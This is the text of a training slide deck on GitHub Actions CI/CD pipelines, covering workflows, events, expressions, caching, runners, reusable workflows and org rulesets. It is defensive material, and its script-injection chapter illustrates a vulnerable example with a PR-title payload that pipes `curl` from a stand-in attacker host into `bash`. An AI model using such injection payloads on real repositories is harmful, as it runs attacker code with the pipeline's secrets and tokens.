Build pipelines that are fast, keyless and hard to tamper with: GitHub Actions in depth, OIDC to AWS, container builds on ECR, quality gates, release strategies, and a supply chain you can prove — SBOMs, signatures, provenance and admission checks — with a lab for every chapter.
Use ← → / Space to navigate · I contents · O overview · T theme · F fullscreen
Click any line to jump there · press I to return to this page
What CI/CD protects, the pipeline this deck builds, the versions it covers, and how to study it.
Every step that can change the artifact on its way to production is part of the supply chain, and every step can be attacked.
…/cicd-lab/hello@sha256:….A CI system holds credentials to your cloud, your registry and your source. Attackers know it.
Read left to right. Each box is where this deck spends its time; the right edge hands over to the GitOps deck.
Scope boundary: the deck ends with a signed, attested artifact in a registry and a promotion PR. Argo CD and Argo Rollouts are in the GitOps deck.
These move fast. When a slide and the official docs disagree, the docs win.
! prefix) at enterprise, org and repo level (Aug 2025).repo:OWNER@ID/REPO@ID:… (Apr 2026); default for new, renamed or transferred repos since 15 Jul 2026.pull_request_target) are treated as planned unless the changelog says shipped.ImageValidatingPolicy replaces the legacy verifyImages rule (deprecated in 1.19, removal planned in 1.20).Version numbers in examples are illustrative; pin the SHA of the current release (for example checkout v7.0.1, setup-go v7.0.0 in Nov 2026).
Each one broke a different link of the chain. Chapter 8 dissects them; later chapters show the control that stops each.
| Incident | Year | Link that broke | Main lesson |
|---|---|---|---|
| Codecov uploader | 2021 | A tampered script downloaded by CI | Verify what you download; scope CI secrets |
| xz utils backdoor | 2024 | A malicious maintainer inside an upstream project | Trust is not a control; review and provenance matter |
| tj-actions/changed-files (CVE-2025-30066) | Mar 2025 | Action tags repointed to a commit that dumped secrets into logs | Pin actions by SHA; least-privilege tokens |
| Shai-Hulud npm worm | Sep 2025 | Stolen npm tokens; self-replicating packages | Short-lived publish credentials; dependency cooldowns |
| Shai-Hulud 2.0 | Nov 2025 | Same idea, larger; also planted workflows | Protect .github/workflows/; watch for new workflows |
Most labs are free: public GitHub repo minutes, a laptop and kind. Only labs 4, 5 and (optionally) 11 touch AWS.
<you>/cicd-lab (free standard runner minutes on public repos).ap-northeast-1.gitops-lab from the GitOps deck (for promotion PRs).gh CLI, kind, kubectl, helm.cosign, syft, grype, trivy.actionlint, zizmor.# the demo app used everywhere
cicd-lab/
├── main.go # service "hello"
├── main_test.go
├── go.mod
├── Dockerfile # ch 5
└── .github/workflows/
├── ci.yml # ch 2
└── release.yml
# AWS names used in examples
region: ap-northeast-1
ECR repo: cicd-lab/hello
IAM role: gha-cicd-lab
envs: dev, prod
kind: cluster "cicd"Read a part, run its lab, then answer the self-check out loud without notes.
Order matters: identity (ch 4) before publishing (ch 5); threats (ch 8) before hardening (ch 9); signing (ch 11) before verification (ch 12).
Delivery principles, the anatomy of a pipeline, and how to measure delivery with the five DORA metrics.
Integration, delivery and deployment; one artifact for every environment; small batches on trunk.
Three practices that build on each other. The difference is where a human decides.
Most teams practice continuous delivery with an approval for production; GitOps makes that approval a merged pull request.
If dev and prod run different builds, your tests in dev prove nothing about prod.
latest, main).Integration pain grows with the time branches live apart. Trunk-based development keeps that time short.
main behind PR checks.main (tags) or deployed continuously.main first, then out.develop, release/*, hotfix/* branches.main into release/1.x.Flags let code reach production switched off, then turn on for a slice of users.
The habits that make the rest of this deck work.
| Principle | What it means in practice | Smell when missing |
|---|---|---|
| Small batches | PRs that change one thing; many deploys a day | Release trains with 200 commits |
| Fast feedback | PR checks in minutes; main green within the hour | Developers stop waiting and merge anyway |
| Everything as code | Pipelines, infra, policies and config in Git, reviewed | Settings changed by clicking in a UI |
| Immutable artifacts | Digest-pinned images, no rebuild per environment | "Works in staging" but not in prod |
| Automate the boring | Releases, changelogs, dependency updates | One person knows how to release |
| Stop the line | A broken main blocks merges until fixed | Main red for days; tests ignored |
Stages and their order, fast feedback, and how artifacts are identified.
Not every repo needs every stage. The order is chosen so cheap checks fail first.
Chapters map: PR checks (ch 6), build and publish (ch 5), evidence (ch 10–11), release (ch 7), verification (ch 12).
A developer waits for the slowest required check. Design for that number.
go vet, actionlint.needs: only where data flows).concurrency (ch 2).A tag is a pointer that can move. A digest is the content itself.
| Identifier | Example | Mutable? | Use it for |
|---|---|---|---|
| Digest | hello@sha256:9f3e… | No | Deploying, signing, verifying |
| Git SHA tag | hello:a1b2c3d | Yes unless tag immutability | Traceability to a commit |
| SemVer tag | hello:1.4.2 | Yes unless tag immutability | Humans, release notes |
| Floating tag | hello:latest, hello:main | Yes, by design | Never in deployments |
Pick one scheme per artifact type and automate it.
MAJOR.MINOR.PATCH: breaking, feature, fix.1.5.0-rc.1.hello:a1b2c3d.2026.11.02-a1b2c3d.# compute tags in a workflow step
SHA_SHORT=${GITHUB_SHA::7}
echo "tags=$ECR/cicd-lab/hello:$SHA_SHORT" \
>> "$GITHUB_OUTPUT"
# on a release tag v1.4.2 also tag 1.4.2
if [[ "$GITHUB_REF" == refs/tags/v* ]]; then
echo "semver=${GITHUB_REF_NAME#v}" \
>> "$GITHUB_OUTPUT"
fiEnvironments differ in config, data and access, never in the artifact.
| dev | staging | prod | |
|---|---|---|---|
| Artifact | Same digest | Same digest | Same digest |
| Deploy trigger | Automatic on main | Automatic or PR | Approved PR or environment approval |
| Data | Synthetic | Anonymized copy or synthetic | Real |
| Credentials | Dev role via OIDC | Staging role | Prod role, environment-scoped (ch 4) |
| Who can change it | Team | Team + checks | Reviewers, protected branch/environment |
| Ephemeral variant | Preview env per PR (ch 6) | — | — |
The five DORA metrics, how to compute them, and the anti-patterns they expose.
DORA groups them into throughput and instability. Measure all five together; optimizing one alone backfires.
| Metric | Question it answers |
|---|---|
| Change lead time | How long from commit to running in production? |
| Deployment frequency | How often do we deploy to production? |
| Failed deployment recovery time | How long to recover when a deployment fails? |
| Metric | Question it answers |
|---|---|
| Change fail rate | What share of deployments need immediate intervention (rollback, hotfix)? |
| Deployment rework rate | What share of deployments are unplanned, done to fix a user-facing problem? |
Older material lists four keys and "MTTR". Current DORA guidance uses these five names; "failed deployment recovery time" replaced MTTR.
You need three event streams: commits, deployments and deployment failures.
# rough deployment frequency from GitHub
gh api repos/<you>/cicd-lab/deployments \
--paginate -q \
'.[] | select(.environment=="prod")
| .created_at' | cut -c1-10 \
| sort | uniq -c
# lead time for one commit
git log -1 --format=%cI a1b2c3d # commit
# deploy time: from the deployment recordUse the metrics to find bottlenecks for a team, not to rank people. Lab 13 computes all five for your lab repo.
The levers are the practices in this deck.
| Metric | Levers that improve it | Deck chapters |
|---|---|---|
| Change lead time | Small PRs, fast checks, automated release and promotion | 1, 2, 6, 7 |
| Deployment frequency | Trunk-based development, continuous delivery, cheap rollouts | 1, 7 |
| Failed deployment recovery time | Progressive delivery, one-click rollback (git revert), good alerts | 7, GitOps deck 11 |
| Change fail rate | Tests and gates that catch real failures, canaries, feature flags | 6, 7 |
| Deployment rework rate | Quality gates, staged rollouts, better review of risky changes | 6, 7, 12 |
Each anti-pattern shows up in the metrics before anyone names it.
docker build --build-arg ENV=prod.Each one makes a later chapter harder or impossible.
| Mistake | Consequence | Fix |
|---|---|---|
Deploying latest or a branch tag | Cannot tell what runs; signatures and rollbacks become unreliable | Deploy by digest; immutable tags |
| Rebuilding per environment | Prod runs untested bits | Build once, promote the digest |
| Secrets baked into images | Leaks through registries and layers | Inject at runtime from a secret store |
| Long PR checks (30+ min) | Big batches, skipped checks | Parallelize, cache, move slow tests after merge |
| Measuring only deployment frequency | Teams ship more broken changes | Track all five DORA metrics together |
| Release knowledge in one person's head | Bus factor of one; slow incidents | Release automation and runbooks as code |
Explain each answer in your own words.
Practice: Lab 1 in Hands-on labs builds the first pipeline for cicd-lab and measures its duration.
The workflow model and events, expressions and data flow, caching and artifacts, and the runners that execute it all.
Workflows, jobs, steps and actions; dependencies, matrices and concurrency; the events that start them.
A workflow is a YAML file in .github/workflows/. Each job gets a fresh runner; steps in a job share its filesystem.
needs: orders them.continue-on-error.timeout-minutes defaults to 360..github/workflows/ on the triggering ref.hello serviceEvery key here appears again later; read it top to bottom.
name: ci
on:
pull_request:
push:
branches: [main]
permissions:
contents: read # least privilege (ch 4)
concurrency:
group: ci-${{ github.ref }}
cancel-in-progress: true # new push cancels old run
jobs:
test:
runs-on: ubuntu-24.04
timeout-minutes: 15
steps:
- uses: actions/checkout@<sha> # v7.0.1
with:
persist-credentials: false # ch 9
- uses: actions/setup-go@<sha> # v7.0.0
with:
go-version-file: go.mod
- run: go vet ./...
- run: go test -race ./...on: lists the events (next slides).permissions: caps the GITHUB_TOKEN for every job.concurrency: keeps one run per ref; older runs are cancelled.runs-on: picks the runner by label (section 07).uses: runs an action at a pinned commit; run: runs a shell command.<sha> stands for a full 40-character commit SHA; chapter 9 explains why and how to keep it updated. Version numbers in examples are illustrative; pin the SHA of the current release (for example checkout v7.0.1, setup-go v7.0.0 in Nov 2026).setup-go caches Go modules by default.needs: creates the graph; outputs carry small values between jobs.
jobs:
build:
runs-on: ubuntu-24.04
outputs:
digest: ${{ steps.push.outputs.digest }}
steps:
- id: push
run: |
# ... build and push ...
echo "digest=sha256:9f3e..." >> "$GITHUB_OUTPUT"
sign:
needs: build
if: github.event_name == 'push' && github.ref == 'refs/heads/main'
runs-on: ubuntu-24.04
steps:
- run: echo "signing ${{ needs.build.outputs.digest }}"
notify:
needs: [build, sign]
if: failure() # runs only when a needed job failed
runs-on: ubuntu-24.04
steps:
- run: echo "pipeline failed" needs: jobs succeeded, unless its if: uses a status function (always(), failure(), cancelled()).if: is evaluated before a runner is assigned: cheap way to skip.toJSON / fromJSON.strategy.matrix expands a job into one job per combination.
jobs:
test:
strategy:
fail-fast: false # default true cancels the rest
max-parallel: 4
matrix:
go: ['1.26', '1.27']
os: [ubuntu-24.04, ubuntu-24.04-arm]
include:
- go: '1.27'
os: ubuntu-24.04
race: true # extra key for one combination
exclude:
- go: '1.26'
os: ubuntu-24.04-arm
runs-on: ${{ matrix.os }}
steps:
- uses: actions/checkout@<sha> # v7.0.1
- uses: actions/setup-go@<sha> # v7.0.0
with: { go-version: '${{ matrix.go }}' }
- run: >-
go test
${{ matrix.race && '-race' || '' }} ./...shard: [1, 2, 3, 4].fromJSON(needs.plan.outputs.matrix).fail-fast: true hides which combinations really fail; turn it off for test matrices.Small keys that prevent large incidents.
| Key | Level | What it does | Typical use |
|---|---|---|---|
concurrency.group | workflow / job | At most one running and one pending run per group | One deploy per environment at a time |
cancel-in-progress | workflow / job | New run cancels the running one | PR checks; never for deploy jobs mid-apply |
timeout-minutes | job / step | Kill after N minutes (default 360 per job) | Stop hung tests from burning minutes |
defaults.run.shell | workflow / job | Default shell and working directory for run: | bash with -eo pipefail semantics |
continue-on-error | job / step | Failure does not fail the job/workflow | Experimental matrix entries only |
environment: | job | Binds the job to an environment (rules, secrets) | Deploy jobs (ch 4) |
Deploy pattern: concurrency: { group: deploy-prod, cancel-in-progress: false } queues deploys instead of killing one half-way.
Choosing the wrong event is the root of most Actions security bugs (ch 8).
| Event | Runs when | Code and context | Secrets? |
|---|---|---|---|
push | Commits or tags pushed | The pushed commit | Yes |
pull_request | PR opened, synchronized, reopened… | The PR merge commit; fork PRs get a read-only token | Not for fork PRs |
pull_request_target | Same PR activity | Workflow from the base branch, base repo context | Yes — dangerous with PR code |
merge_group | A PR enters the merge queue | The temporary merge-queue commit | Yes |
workflow_dispatch | Manual run (UI, gh workflow run, API) | Chosen ref, typed inputs | Yes |
workflow_call | Called by another workflow (ch 3) | Caller's context | Passed explicitly or inherited |
workflow_run | Another workflow requested/completed | Default branch, privileged | Yes — treat artifacts as untrusted |
schedule | Cron, on the default branch | Latest default-branch commit | Yes |
Three ways to react to a pull request with very different trust.
pull_request (default choice)GITHUB_TOKEN.pull_request_targetworkflow_runpull_request tests).workflow_run job comments.Rule of thumb: untrusted code → pull_request; privileged action on PR metadata only → pull_request_target; the two never meet in one job.
Filters decide whether a workflow runs at all.
on:
push:
branches: [main, 'release/**']
tags: ['v*']
paths:
- 'cmd/**'
- 'go.mod'
- '.github/workflows/ci.yml'
pull_request:
paths-ignore: ['docs/**', '**.md']
merge_group: # needed if you use a merge queue
workflow_dispatch:
inputs:
env:
type: choice
options: [dev, prod]
schedule:
- cron: '17 3 * * 1' # Mondays 03:17 UTCbranches and tags filters are combined with paths (all must match).paths + paths-ignore cannot both be used for one event; use ! patterns instead.GITHUB_TOKEN do not start new workflows (except workflow_dispatch and repository_dispatch): no recursive loops.schedule runs only on the default branch; in public repos scheduled workflows are disabled after 60 days without repo activity.Required-check trap: a workflow skipped by a path filter reports nothing, so a required check waits forever. Always run the workflow and skip jobs inside it (change detection, ch 3). A merge queue needs merge_group: on every required workflow.
What ${{ }} can read, how steps and jobs pass data, and the injection bug hiding in plain sight.
Expressions ${{ … }} are evaluated by GitHub before the step runs; the result is pasted into the YAML.
| Context | Contains | Example |
|---|---|---|
github | Event payload, ref, SHA, actor, repository | github.sha, github.event.pull_request.number |
env | Env vars set at workflow, job or step level | env.REGISTRY |
vars | Configuration variables (repo, env, org) | vars.AWS_ACCOUNT_ID |
secrets | Secrets (repo, env, org) and GITHUB_TOKEN | secrets.SLACK_WEBHOOK |
needs | Outputs and results of jobs this job needs | needs.build.outputs.digest |
matrix / strategy | Current matrix values and strategy | matrix.os |
steps | Outputs and outcome of earlier steps with an id | steps.push.outputs.digest |
runner | OS, arch, temp and tool cache paths | runner.arch |
inputs | Inputs of workflow_dispatch / workflow_call | inputs.env |
Enough to write any if: you need.
contains(github.event.pull_request.labels.*.name, 'deploy')startsWith(github.ref, 'refs/tags/v')format('{0}:{1}', env.IMAGE, github.sha)join(matrix.os, ', '), toJSON(github.event), fromJSON('[1,2]')hashFiles('**/go.sum') — for cache keys (section 06).success() — default when if: has no status function.always() — run even if earlier steps failed or the run was cancelled.failure() — only if something earlier failed.cancelled() — only if the run was cancelled.!cancelled() over always() so cancelling still stops cleanup-unsafe steps.if: you may omit ${{ }}; everywhere else you need it.'1' == 1 is true; strings compare case-insensitively.env cannot be used in runs-on or job-level if in all cases; check the context availability table.Steps communicate through files that the runner reads after each step.
steps:
- id: meta
run: |
echo "short=${GITHUB_SHA::7}" >> "$GITHUB_OUTPUT"
echo "IMAGE=$ECR/cicd-lab/hello" >> "$GITHUB_ENV"
- run: echo "tag $IMAGE:${{ steps.meta.outputs.short }}"
# multi-line value: heredoc delimiter
- run: |
{
echo 'notes<<EOF'
git log -5 --oneline
echo EOF
} >> "$GITHUB_OUTPUT"
# Markdown shown on the run page
- run: echo "### $IMAGE@$DIGEST" >> "$GITHUB_STEP_SUMMARY"
# hide a value derived at runtime from logs
- run: echo "::add-mask::$TOKEN" $GITHUB_OUTPUT: step outputs, read as steps.<id>.outputs.<name>.$GITHUB_ENV: env vars for later steps in the same job (not the current one).$GITHUB_PATH: prepend a directory to PATH for later steps.$GITHUB_STEP_SUMMARY: Markdown summary on the run page.::set-output and ::set-env commands are deprecated or disabled.Security: attacker-controlled text written to $GITHUB_ENV can set LD_PRELOAD or NODE_OPTIONS for later steps. Masking is best effort (encoded or split secrets leak). Logs of public repos are public.
${{ }} is expanded before the shell runs, so the value becomes code. A PR title is attacker-controlled.
# VULNERABLE
on: pull_request_target
jobs:
greet:
runs-on: ubuntu-24.04
steps:
- run: echo "Thanks for: ${{ github.event.pull_request.title }}"
# PR title chosen by an attacker:
# x"; curl -sSf https://evil.example/x.sh | bash; echo "
# becomes, after expansion:
# echo "Thanks for: x"; curl ... | bash; echo ""
# ... running with secrets and a write token.# SAFE: pass data through an environment variable
on: pull_request_target
jobs:
greet:
runs-on: ubuntu-24.04
permissions:
pull-requests: write
steps:
- env:
TITLE: ${{ github.event.pull_request.title }}
run: echo "Thanks for: $TITLE"
# the shell sees a variable, never code
# Same rule for actions/github-script:
# pass as env, read process.env.TITLEUntrusted fields include PR title and body, issue and comment bodies, branch names (github.head_ref), commit messages and author names. zizmor and actionlint flag these patterns (ch 9).
Three ways to give a workflow values, with different visibility.
env: in YAML | vars (configuration variables) | secrets | |
|---|---|---|---|
| Where defined | The workflow file | Repo / environment / org settings | Repo / environment / org settings |
| Visible in logs | Yes | Yes | Masked |
| Changed by | A commit (reviewed) | Admins in settings | Admins in settings |
| Available to fork PRs | Yes | Yes | No (pull_request) |
| Good for | Constants for this workflow | Account IDs, region, role ARNs | Webhook URLs, third-party tokens |
| Better alternative | — | — | OIDC to AWS and AWS Secrets Manager (ch 4) |
Precedence for env: step > job > workflow. Environment-level vars and secrets override repo-level ones for jobs bound to that environment.
Cache keys, built-in caches, Docker layers, and when to use an artifact instead.
A cache is a tarball saved under a key. An exact key hit restores it; otherwise restore keys find the closest older one.
- uses: actions/cache@<sha> # v4
with:
path: |
~/.cache/go-build
~/go/pkg/mod
key: go-${{ runner.os }}-${{ hashFiles('**/go.sum') }}
restore-keys: |
go-${{ runner.os }}-
# 1st run: no hit -> job runs cold, cache saved under key K1
# go.sum unchanged -> exact hit on K1, nothing saved
# go.sum changed -> prefix hit on K1 (partial),
# new key K2 savedactions/cache/restore + actions/cache/save to save only on main.Scope is a security boundary: a run reads caches from its own branch, the PR base branch and the default branch; PR branches cannot write into main's cache. A main workflow that caches attacker-influenced content poisons later runs (ch 8).
Usually you do not need actions/cache directly.
actions/setup-go: Go module and build cache, on by default.actions/setup-node with cache: npm (or pnpm, yarn).actions/setup-python with cache: pip.actions/setup-java with cache: gradle / maven.cache-from / cache-to with type=gha uses the Actions cache.type=registry stores cache in ECR next to the image; shared across repos and runners.mode=max caches intermediate stages too (bigger, more hits).Caches speed up future runs. Artifacts hand results to people and to later jobs.
| Cache | Artifact | |
|---|---|---|
| Purpose | Speed (dependencies, layers) | Outputs (binaries, reports, SBOMs) |
| Lifetime | Evicted after 7 days unused | Retention days (default 90, configurable) |
| Reused across runs | Yes | No by default (same run; API for others) |
| Downloadable from the UI | No | Yes |
| Mutable | No (exact key) | No (v4: one upload per name per run) |
- uses: actions/upload-artifact@<sha> # v4
with:
name: test-report-${{ matrix.go }}
path: report.xml
retention-days: 7
if-no-files-found: error
# later job, same run
- uses: actions/download-artifact@<sha> # v4
with:
name: test-report-1.27Never put secrets or .git credentials into an artifact: on public repos anyone can download artifacts while they are retained.
GitHub-hosted, larger and ARM runners, self-hosted runners, and Actions Runner Controller on EKS.
Pick by trust, network access and cost — in that order.
| Runner | Isolation | Network | Cost | Use for |
|---|---|---|---|---|
| GitHub-hosted standard | Fresh VM per job, destroyed after | Internet only | Free on public repos; minutes on private | Default for almost everything |
GitHub-hosted ARM (ubuntu-24.04-arm) | Fresh VM per job | Internet only | Public: free (4 vCPU, 16 GB); private: 2 vCPU, 8 GB, included minutes then per minute | Native ARM builds, no QEMU |
| Larger runners | Fresh VM per job | Optional static IPs / private networking | Per-minute billing | Big builds, IP allowlists |
| Self-hosted (VM, persistent) | Shared between jobs unless you reset it | Your network | Your infrastructure | Avoid; if needed, private repos only |
| Self-hosted ephemeral (ARC pods) | One pod per job | Your VPC | Your EKS nodes | Access to private resources |
A clean virtual machine per job, with many tools preinstalled.
ubuntu-24.04, ubuntu-latest, ubuntu-24.04-arm, windows-latest, macos-latest.sudo; Docker preinstalled on Linux.go-version-file: go.mod).ubuntu-24.04) rather than ubuntu-latest for stable pipelines.kubeconform, cosign) and verify checksums.GitHub recommends never using self-hosted runners with public repositories.
--ephemeral, or ARC).ARC turns runners into Kubernetes pods that scale with the job queue and disappear after one job.
All connections are outbound from the cluster to GitHub: no inbound firewall rule is needed.
Two charts: the controller (once per cluster) and one scale set per runner pool.
C=oci://ghcr.io/actions/actions-runner-controller-charts
# 1) controller
helm install arc -n arc-systems \
--create-namespace \
$C/gha-runner-scale-set-controller
# 2) a scale set for one repo (or an org)
helm install arc-cicd-lab -n arc-runners \
--create-namespace \
--set githubConfigUrl=https://github.com/<you>/cicd-lab \
--set githubConfigSecret=arc-github-app \
--set minRunners=0 --set maxRunners=10 \
$C/gha-runner-scale-set
# 3) use it: the installation name is the label
# jobs:
# it:
# runs-on: arc-cicd-labarc-github-app), not a personal token.dind (Docker in the pod) vs kubernetes (job containers as separate pods).Operate it: pin chart versions (controller and scale set versions must match), watch pending pods and node scale-up time, and build runner images on the official runner image with pinned tools.
A simple decision order.
Deploy jobs rarely need a self-hosted runner: OIDC gives AWS API access from GitHub-hosted runners (ch 4), and GitOps moves the cluster side to Argo CD.
Each has caused a real incident somewhere.
| Mistake | Consequence | Fix |
|---|---|---|
${{ github.event.* }} inside run: | Script injection with the job's token and secrets | Pass through env: and quote the variable |
pull_request_target + checkout of the PR head | Untrusted code runs with secrets ("pwn request") | Use pull_request; split privileged steps into workflow_run |
| Required check on a path-filtered workflow | PRs stuck "Expected — waiting" | Always run; skip jobs inside |
No merge_group trigger with a merge queue | Queue never merges | Add merge_group: to required workflows |
cancel-in-progress: true on deploy jobs | Half-applied deploys | Queue deploys; cancel only PR checks |
| Persistent self-hosted runner on a public repo | Anyone can run code inside your network | GitHub-hosted for public repos; ephemeral ARC for private |
Secrets in artifacts or $GITHUB_ENV | Leaks to downloaders and later steps | Keep secrets in env of one step; never upload them |
Explain the answer and point to the YAML key.
needs job failed, and how do you run it anyway?pull_request_target compared with pull_request?merge_group?GITHUB_TOKEN not trigger CI?${{ }} evaluated, and why does that enable injection?github context are attacker-controlled?vars instead of secrets?key and restore-keys?Practice: Lab 2 in Hands-on labs adds a matrix, caching and concurrency to cicd-lab and breaks the cache key on purpose.
One pipeline definition for fifty repositories: reusable workflows, custom actions, and the org-level rules that keep them in force.
A whole workflow called like a function: inputs, secrets, outputs, and the limits of nesting.
Fifty repos with their own ci.yml means fifty slightly different security postures. A reusable workflow is defined once and called by reference.
platform/ci-templates/.github/workflows/go-service.yml holds the pipeline.on: workflow_call.jobs.<id>.uses:, not as a step.steps: of its own.Everything the caller can pass is declared and typed. Unknown inputs fail the run before any job starts.
# platform/ci-templates/.github/workflows/go-service.yml
name: go-service
on:
workflow_call:
inputs:
go-version: {type: string, default: "1.27"}
image-name: {type: string, required: true}
push-image: {type: boolean, default: false}
secrets:
SONAR_TOKEN: {required: false}
outputs:
image-digest:
description: Digest of the pushed image
value: ${{ jobs.build.outputs.digest }}
permissions: {contents: read}
jobs:
build:
runs-on: ubuntu-latest
outputs: {digest: "${{ steps.push.outputs.digest }}"}
steps:
- uses: actions/checkout@<sha-of-release> # pin
- uses: actions/setup-go@<sha-of-release> # pin
with: {go-version: "${{ inputs.go-version }}"}
- run: go test ./... # then build + push, id: push (ch 5)string, number, boolean.inputs context, never github.event.inputs.secrets: inherit).env context of the caller is not passed in; use inputs.permissions: can only keep or reduce what the caller grants.A service repo's whole CI can be ten lines. The uses: path is owner/repo/.github/workflows/file.yml@ref, or ./.github/workflows/file.yml in the same repo.
# cicd-lab/.github/workflows/ci.yml
name: ci
on:
pull_request:
push:
branches: [main]
permissions:
contents: read
id-token: write # granted here, used inside
jobs:
ci:
uses: <you>/ci-templates/.github/workflows/go-service.yml@<sha>
with:
image-name: cicd-lab/hello
push-image: ${{ github.ref == 'refs/heads/main' }}
secrets:
SONAR_TOKEN: ${{ secrets.SONAR_TOKEN }}
report:
needs: ci
runs-on: ubuntu-latest
steps:
- run: echo "${{ needs.ci.outputs.image-digest }}" with: passes inputs; secrets: passes named secrets.secrets: inherit passes every secret the caller can see (see next slide).strategy.matrix on the calling job runs the reusable workflow once per combination.needs, if, concurrency and permissions work on the calling job.needs.<job>.outputs.<name>.secrets: inheritConvenience trades against least privilege. Decide per template, not per mood.
Explicit secrets: | secrets: inherit | |
|---|---|---|
| What the callee receives | Only the named secrets it declared | Every secret the caller can access |
| Reviewability | The diff shows exactly what crosses the boundary | Nothing in the caller shows what is used |
| Where it works | Any caller allowed to use the workflow | Callers in the same org or enterprise |
| Risk if the template is compromised | Limited to declared secrets | All repo, org and environment secrets visible to the job |
| Good for | Shared templates owned by another team | Same-team workflows split for readability |
environment: on the calling job, protected by reviewers.Reusable workflows can call other reusable workflows, but the tree has hard limits and every level must be reachable by the top caller.
ci-templates) with a CODEOWNERS file.v1.4.0) and a moving major tag (v1) for convenience.v1 working for a deprecation window.Both remove duplication. The difference is the unit: a set of jobs vs a set of steps.
| Question | Reusable workflow | Composite action |
|---|---|---|
| Unit of reuse | One or more jobs (own runners) | A sequence of steps inside the caller's job |
| Called from | jobs.<id>.uses: | steps[*].uses: |
| Can choose its own runner | Yes (runs-on inside) | No, runs on the caller's runner |
| Secrets | Declared secrets: or secrets: inherit | No secrets context; pass values as inputs |
| Environments and approvals | Yes, jobs can target environment: | No |
| Logs | Separate jobs in the run | Collapsed into the caller's step list |
| Typical use | Whole CI or deploy pipeline as a standard | A recurring 3–10 step recipe (setup + cache + login) |
| SLSA Build L3 provenance | Required: build and attest inside one (Chapter 11) | Not sufficient on its own |
Composite, JavaScript and Docker actions: how each runs, when to pick it, how to ship it.
Every action has an action.yml with runs.using. That field decides where the code executes.
using: composite)run: step must declare shell:.using: node24)dist/ (for example with @vercel/ncc).@actions/core, @actions/github, @actions/exec.using: docker)Lives in the template repo next to the workflows; callers use <you>/ci-templates/actions/go-setup@<sha>.
# ci-templates/actions/go-setup/action.yml
name: go-setup
description: Checkout-free Go setup with module cache and lint tools
inputs:
go-version: {description: Go version, default: "1.27"}
golangci-version: {description: golangci-lint version, default: "v2.15.0"}
outputs:
go-path:
description: GOPATH on the runner
value: ${{ steps.env.outputs.gopath }}
runs:
using: composite
steps:
- uses: actions/setup-go@<sha-of-release> # pin
with:
go-version: ${{ inputs.go-version }}
cache: true
- id: env
shell: bash
run: echo "gopath=$(go env GOPATH)" >> "$GITHUB_OUTPUT"
- shell: bash
env:
V: ${{ inputs.golangci-version }}
M: github.com/golangci/golangci-lint/v2
run: go install "$M/cmd/golangci-lint@${V}"
# docs prefer the binary or the action shell: is mandatory on every run: step in a composite.run: safely through env: (no ${{ }} inside the script; Chapter 8).outputs.<name>.value points at a step output.uses: inside a composite should be pinned too: callers inherit your choices.secrets context; pass a value as an input if you must.Use JavaScript when logic outgrows a shell script: API calls, parsing, retries. Bundle everything; the runner does not npm install.
# action.yml
name: pr-size-label
description: Label a pull request by changed lines
inputs:
token:
description: Token with pull-requests:write
required: true
runs:
using: node24 # Node 20 is end-of-life
main: dist/index.js
// src/index.js
const core = require('@actions/core');
const github = require('@actions/github');
async function run() {
const pr = github.context.payload.pull_request;
if (!pr) { core.info('not a pull request'); return; }
const lines = pr.additions + pr.deletions;
const label = lines < 100 ? 'size/S' : lines < 500 ? 'size/M' : 'size/L';
const octokit = github.getOctokit(core.getInput('token'));
await octokit.rest.issues.addLabels({
...github.context.repo, issue_number: pr.number, labels: [label] });
core.setOutput('label', label);
}
run().catch(err => core.setFailed(err.message));npx @vercel/ncc build src/index.js -o dist and commit dist/.dist/ matches the source (rebuild + git diff --exit-code).@actions/core and @actions/github.Most teams need few custom actions. Prefer a well-maintained public action pinned by SHA, or a composite wrapper around a CLI.
| Need | Pick |
|---|---|
| Wrap 3–10 shell steps used everywhere | Composite action |
| Call GitHub or AWS APIs with logic | JavaScript action |
| Tool needs a full Linux userland | Docker action (or install the tool in a composite) |
| Standardize a whole pipeline with approvals | Reusable workflow |
| One repo only | Keep the steps inline |
action.yml and the workflows that test it (actionlint).Templates to start right, rulesets to stay right, and change detection for monorepos.
Templates shown in a repo's "Actions → New workflow" page, published from the org's .github repository.
# <org>/.github (public or internal repo named .github)
workflow-templates/
go-service.yml # the starter workflow
go-service.properties.json # metadata shown in the UI
# go-service.properties.json
{
"name": "Go service (platform standard)",
"description": "Calls the reusable go-service pipeline",
"iconName": "go",
"categories": ["Go"],
"filePatterns": ["go.mod$"]
}
# go-service.yml — keep it tiny: it only calls the reusable workflow
on: {pull_request: {}, push: {branches: [$default-branch]}}
permissions: {contents: read}
jobs:
ci:
uses: <org>/ci-templates/.github/workflows/go-service.yml@v1
with: {image-name: CHANGE-ME}$default-branch is replaced with the repo's default branch on copy.filePatterns suggests the template to repos that contain matching files.Rulesets apply to many repos at once (org level) and stack with each other. Admins can bypass only if listed as bypass actors.
mainci / build)..github/workflows/ (plan-dependent).v* release tags from moving or deletion.tier = prod).github provider.A security workflow that repo owners cannot remove or edit, because it lives in a central repo and is enforced by the ruleset.
Whoever can edit .github/workflows/ can change what runs with your credentials. Treat pipeline files as security-sensitive code.
# .github/CODEOWNERS (last matching pattern wins)
* @<org>/hello-team
# pipeline and supply-chain files need platform review
/.github/workflows/ @<org>/platform-team
/.github/actions/ @<org>/platform-team
/.github/CODEOWNERS @<org>/platform-team
/Dockerfile @<org>/platform-team @<org>/hello-team
/.github/dependabot.yml @<org>/platform-teamactionlint and zizmor as required checks (Chapter 9).Path filters save minutes, but a skipped workflow never reports a status — and a required check that never reports blocks the merge.
on: {pull_request: {}}
jobs:
changes:
runs-on: ubuntu-latest
permissions: {contents: read, pull-requests: read}
outputs: {hello: "${{ steps.f.outputs.hello }}"}
steps:
- uses: actions/checkout@<sha-of-release> # pin
- id: f
uses: dorny/paths-filter@<sha-of-release> # pin
with:
filters: |
hello: ['services/hello/**', 'go.mod']
hello:
needs: changes
if: needs.changes.outputs.hello == 'true'
uses: ./.github/workflows/go-service.yml
with: {image-name: cicd-lab/hello}
gate: # the ONLY required check
if: always()
needs: [hello]
runs-on: ubuntu-latest
steps:
- run: '[[ "${{ needs.hello.result }}" != "failure" ]]'on.pull_request.paths skips the whole workflow → required checks stay "Expected" forever.changes job, then run service jobs conditionally.gate job with if: always() is the single required status check.failure (and decide whether cancelled counts) and passes on skipped.Each one has happened in real orgs; most are invisible until an incident.
@main): every caller gets every change instantly, including a bad one.secrets: inherit on a template owned by another team.env: to exist inside the reusable workflow.dist/ → "Cannot find module" on the runner.run: steps without shell:..github/workflows/.secrets: or OIDC; no stored cloud keys.Answer out loud, then check the slide that covers it.
